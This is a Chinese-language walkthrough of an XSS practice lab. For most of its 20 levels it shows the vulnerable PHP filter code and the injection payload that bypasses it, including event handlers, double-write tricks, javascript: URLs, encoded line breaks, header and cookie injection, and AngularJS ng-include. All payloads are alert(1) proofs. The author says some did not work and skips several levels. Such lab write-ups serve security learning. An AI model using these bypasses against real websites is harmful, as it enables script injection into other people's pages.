- level 1
- level 2
- level 3
- level 4
- level 5
- level 6
- level 7
- level 8
- level 9
- level 10
- level 11
- level 12
- level 13
- level 14
- level 15
- level 16
- level 17
- level 18
- level 19
- level 20
凌晨0:45了, 我该睡觉了…
level 1
构造payload name=<script>alert(1)</script>
level 2
查看源码: <input name="keyword" value="test">
输入在input标签内,需要闭合input标签
"><script>alert(1)</script>
level 3
单引号闭合
' onclick=alert(1)//
level 4
双引号闭合
" onclick=alert(1)//
level 5
查看部分源码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
其中:
str2=strreplace("<script","<script",str);
str3=strreplace("on","on",str2); 就直接把
<script 转换成 <scr_ipt, on转换成 o_n, 这样就过滤了js事件.
str=strtolower(_GET["keyword"]);
大小写绕过也失效
可以使用伪协议来构造payload:
" > <a href=javascript:alert(1)> //
完成后需要点击一下底下的payload长度, 才会弹出完成得不错…..
level 6
部分源码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<script转换成<scr_ipton转换成o_n,src转换成sr_c,data转换成da_ta,href转换成hr_ef
发现这里没有大小写约束, 可以构造payload:
"> <Script>alert(1)</script> //
"> <img Src=x OnError=alert(1)> //
"><a HrEf="javascript:alert(1)">bmjoker</a>//
"><svg x=" " Onclick=alert(1)>
"><ScriPt>alert(1)<sCrIpt>"
" OncliCk=alert(1) //
SVG 是基于XML、用于描述二维矢量图形的一种图形格式
level 7
部分源代码:
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
- 大小写不能用
script,on,src,data,href都直接转换成空
尝试双写绕过, 构造payload:
"><sscriptcript>alert(1)</sscriptcript>
"><a hrhrefef=javascriscriptpt:alert(1)>bmjoker</a>
level 8
部分源码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<script转换成<scr_ipt,on转换成o_n,src转换成sr_c,data转换成da_ta,href转换成hr_ef.- 大小写失效
"被转义成字符实体"(html字符转义)
javascript会被替换成javasc_rpt, 使用r来代替r:
javascript:alert(1)
javascript:%61lert(1)
javascript:alert`1`
javascript:alert`1`
这些payload我一个也没有尝试出来, emm. 不知道咋了.
level 9
部分源码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
多了自动检测url, 如果发现没有带http:// 内容则会显示不合法.
PHP strpos()函数, 查找字符串在另一字符串中第一次出现的位置.
构造payload:
javascript:alert(1)//http://xxx.com //利用注释
javascript:%0dhttp://xxx.com%0dalert(1) //不利用注释
%0d为 HTML5 URL 编码, 表示的字符为”回车符”
level 10
部分源码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
需要两个参数,一个是keyword, 一个是t_sort, 尖括号<>都被转换成空, 还有三个hidden的隐藏输入框.
从隐藏的输入框下手, 构造payload:
keyword = test&t_sort="type="text" onclick = "alert(1)
keyword = test&t_sort="type="text" onmouseover="alert(1)
keyword = test&t_sort="type="text" onmouseover=alert'1'
js onmouseover 事件会在鼠标指针移动到指定的对象上时发生
构成一个js的点击弹窗事件:
<input name="t_sort" value=" " type="text" onclick = "alert(1)" type="hidden">
level 11
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
多了一个 str11=_SERVER['HTTP_REFERER']; 考察的是http头部的xss注入.
burp抓包, 修改http头部Referer:
Referer: " onmouseover=alert(1) type="text"
Referer: " onclick="alert(1) type="text"
forward发包.
level 12
部分源码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
str11=_SERVER['HTTP_USER_AGENT'];, User-Agent的http头部注入.
burp抓包, 构造http头部User-Agent的payload:
User-Agent: " onmouseover=alert(1) type="text"
User-Agent: " onclick="alert(1) type="text"
forward发包
level 13
部分源代码:
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
setcookie("user", "call me maybe?", time()+3600);, 应该是cookie类型的xss注入
payload:
Cookie: " onmouseover=alert(1) type="text"
Cookie: " onclick="alert(1) type="text"
burp抓包, 改cookie, forward发包
完整的cookie为:
Cookie: user=call+me+maybe%3F " onmouseover=alert(1) type="text"
level 14
源码中的那个网站据说需要认证, 访问不了.
据网上的 wp, 是一个 EXIF XSS
level 15
部分源码:
html ng-app>
<head>
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
考查angular js的知识, ng-include有包含文件的意思, 相当于php里面的include
构造payload:
src='level1.php?name=<img src=x onerror=alert(1)>'
完整的url:
/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'
AngularJS 是一款优秀的前端 JS 框架。
AngularJS ng-include 指令. ng-include 指令用于包含外部的 HTML 文件. 包含的内容将作为指定元素的子节点. ng-include 属性的值可以是一个表达式,返回一个文件名. 默认情况下,包含的文件需要包含在同一个域名下.
level 16
部分源代码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
- 大小写绕过失效
script,/,空格等都被转换成 , 可以用%0d,%0a等绕过
%0a: 换行符%0d: 回车符
构造payload:
<img%0Dsrc=1%0Donerror=alert(1)>
<iframe%0asrc=x%0donmouseover=alert'1'></iframe>
<svg%0aonload=alert'1'></svg>
iframe一般用来包含别的页面
level 17
试了别人了wp, 没反应…跳过.
关键词:
- 使用了htmlspecialchars进行实体编码
- 使用on事件触发
payload:
?arg01=a&arg02=b onmouseover=alert(1)
level 18
和17题基本一样, 也没反应. 跳过.
payload:
?arg01=a&arg02=1 onmouseover=alert(1)
level 19
level 20
level 19,20是flash xss, 网上的wp突然在这儿就断了, emmm. 应该是不太流行了吧…